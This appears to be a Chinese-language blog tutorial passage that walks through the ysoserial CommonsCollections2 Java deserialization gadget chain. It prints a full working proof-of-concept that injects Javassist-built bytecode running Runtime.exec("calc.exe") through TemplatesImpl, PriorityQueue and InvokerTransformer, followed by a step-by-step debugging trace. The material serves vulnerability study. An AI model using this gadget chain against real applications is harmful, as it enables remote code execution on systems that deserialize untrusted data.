    public static void createPerson() throws Exception{
        //实例化一个ClassPool容器
        ClassPool pool = ClassPool.getDefault();
        //新建一个CtClass,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        //设置一个要执行的命令
        String cmd = "System.out.println(\"javassit_test succes!\");";
        //制作一个空的类初始化,并在前面插入要执行的命令语句
        cc.makeClassInitializer().insertBefore(cmd);
        //重新设置一下类名
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //将生成的类文件保存下来
        cc.writeFile();
        //加载该类
        Class c = cc.toClass();
        //创建对象
        c.newInstance();
    }

    public static void main(String[] args) {
        try {
            createPerson();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

image-20260506214756785

新生成的类是这样子的,其中有一块static代码

当该类被实例化的时候,就会输出static里的语句

TemplatesImpl

TemplatesImpl 加载 _bytecodes 中的字节码时,会用 TransletClassLoader 加载并实例化AbstractTranslet这个类。

这个被加载的类,必须继承 AbstractTranslet,否则 TemplatesImplgetTransletInstance() 方法会抛出 ClassCastException,直接中断加载流程。

image-20260505164853013

我们写一个demo

在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码。

POC2分析

在ysoserial的cc2中引入了Templateslmpl类来进行承载攻击payload,需要用到javassit

POC2

package com.example.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class POC2 {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image-20260506215344510

通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

image-20260506220238872

实例化一个TransformingComparator对象,将transformer传进去

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数为null

image-20260506220343453

//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块

image-20260508140808226

image-20260508140834229

使用Templateslmpl的空参构造方法实例化一个对象

再通过反射对各个字段进行赋值

image-20260508141123789

新建一个对象数组,第一个元素为templates,第二个元素为1

然后通过反射将改数组传到queue中

image-20260508141206111

通过反射将queue的size设为2,与POC1中使用两个add意思一样

image-20260508141638971

通过反射给queue的comparator参数赋值

image-20260508142413505

image-20260508143029901

从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2

image-20260508144419044

跟进siftDown方法,comparator参数就是我们传入的TransformingConparator实例化的对象

image-20260508150850153

到TransformingComparator的compare方法,obj1就是我们传入的templates,这里this.transformer就是我们传入的transformer

image-20260508151158557

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

接着调用templates的newTransformer方法,而templates是Templateslmpl类的实例化对象,也就是调用TransformerImpl.newTransformer()

image-20260508224434800

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法

这就是原来poc中代码赋值的原因

image-20260508225836426

image-20260508225855306

跟进defineTransletClasses方法

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是下面的内容,转换成字节数组

image-20260509000546567

再往下debug

image-20260509000904550

通过loader.defineClass 将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCatxxxx

image-20260509000958537

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,这就是要设置AbstractTranslet类为新建的父类

给_transletIndex赋值为0后,返回到getTransletInstance方法,那么该类中的static代码部分就会执行,成功执行命令

image-20260509001333011